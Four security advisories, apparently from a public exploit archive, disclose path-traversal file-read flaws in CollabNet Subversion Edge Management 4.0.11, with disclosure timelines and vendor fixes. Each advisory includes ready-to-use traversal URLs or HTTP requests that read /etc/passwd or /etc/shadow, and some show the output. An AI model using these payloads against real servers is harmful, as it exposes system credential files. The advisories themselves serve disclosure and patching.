CollabNet Subversion Edge Management 4.0.11 – Local File Inclusion
# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management # Frontend via logfile "fileName" parameter of the "tail" action # # Date: 28.06.2015 # Author: otr # Software Link: https://www.open.collab.net/downloads/svnedge # Vendor: CollabNet # Version: 4.0.11 # Tested on: Fedora Linux # Type: Local file inclusion # # Risk: Medium # Status: public/fixed # Fixed version: 5.0 Timeline: 2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure Summary: The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "fileName" parameter of the "tail" action Vulnerability: Sample URL: https://example.com:4434/csvn/log/tail?fileName=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&startIndex=0 Fix proposal: Remove feature or santizes the fileName parameter so that no path traversals and arbitrary file inclusions are possible. Vendor fix: [...] now allow only showing hooks/logs within the intended directories. #################################################################### # Vuln Title: Local file inclusion in CollabNet Subversion Edge Management # Frontend via logfile "listViewItem" parameter of the "index" action # # Date: 28.06.2015 # Author: otr # Software Link: https://www.open.collab.net/downloads/svnedge # Vendor: CollabNet # Version: 4.0.11 # Tested on: Fedora Linux # Type: Local file inclusion # # Risk: Medium # Status: public/fixed # Fixed version: 5.0 Timeline: 2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure Summary: The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "listViewItem" parameter of the "index" action Vulnerability: Request: POST /csvn/repo/index HTTP/1.1 Host: example.com:4434 [...] id=1&datatable_length=10&listViewItem_../../../../../../etc/passwd=on&_confirmDialogText_copyHook=&_confirmDialogText_renameHook=&_action_downloadHook=Download Response: HTTP/1.1 200 OK Content-Type: text/plain Content-disposition: attachment;filename="../../../../../../etc/passwd" Content-Length: 1825 root:x:0:0:root:/root:/bin/bash Fix proposal: Remove feature or santizes the "listViewItem" parameter so that no path traversals and arbitrary file inclusions are possible. Vendor fix: [...] now allow only showing hooks/logs within the intended directories. #################################################################### # Vuln Title: Local file inclusion in CollabNet Subversion Edge Management # Frontend via "fileName" parameter of the show action # # Date: 10.10.2014 # Author: otr # Software Link: https://www.open.collab.net/downloads/svnedge # Vendor: CollabNet # Version: 4.0.11 # Tested on: Fedora Linux # Type: Local file inclusion # # Risk: Medium # Status: public/fixed # Fixed version: 5.0 Timeline: 2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure Summary: The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "fileName" parameter of the show action Vulnerability: Request: GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1 Host: example.com:4434 Response: HTTP/1.1 200 OK [...] <div class="span3">../../../../../../etc/passwd</div> [...] root:x:0:0:root:/root:/bin/bash Fix proposal: Remove feature or santizes the fileName parameter so that no path traversals and arbitrary file inclusions are possible. Vendor fix: [...] now allow only showing hooks/logs within the intended directories. #################################################################### # Vuln Title: Local file inclusion in CollabNet Subversion Edge Management # Frontend via logfile "filename" parameter of the "downloadHook" action # # Date: 28.06.2015 # Author: otr # Software Link: https://www.open.collab.net/downloads/svnedge # Vendor: CollabNet # Version: 4.0.11 # Tested on: Fedora Linux # Type: Local file inclusion # # Risk: Medium # Status: public/fixed # Fixed version: 5.0 Timeline: 2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure Summary: The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "filename" parameter of the "downloadHook" action Vulnerability: Example URL: https://example.com:4434/csvn/repo/downloadHook/1?filename=../../../../../../etc/passwd Fix proposal: Remove feature or santizes the "filename" parameter so that no path traversals and arbitrary file inclusions are possible. Vendor fix: [...] now allow only showing hooks/logs within the intended directories. |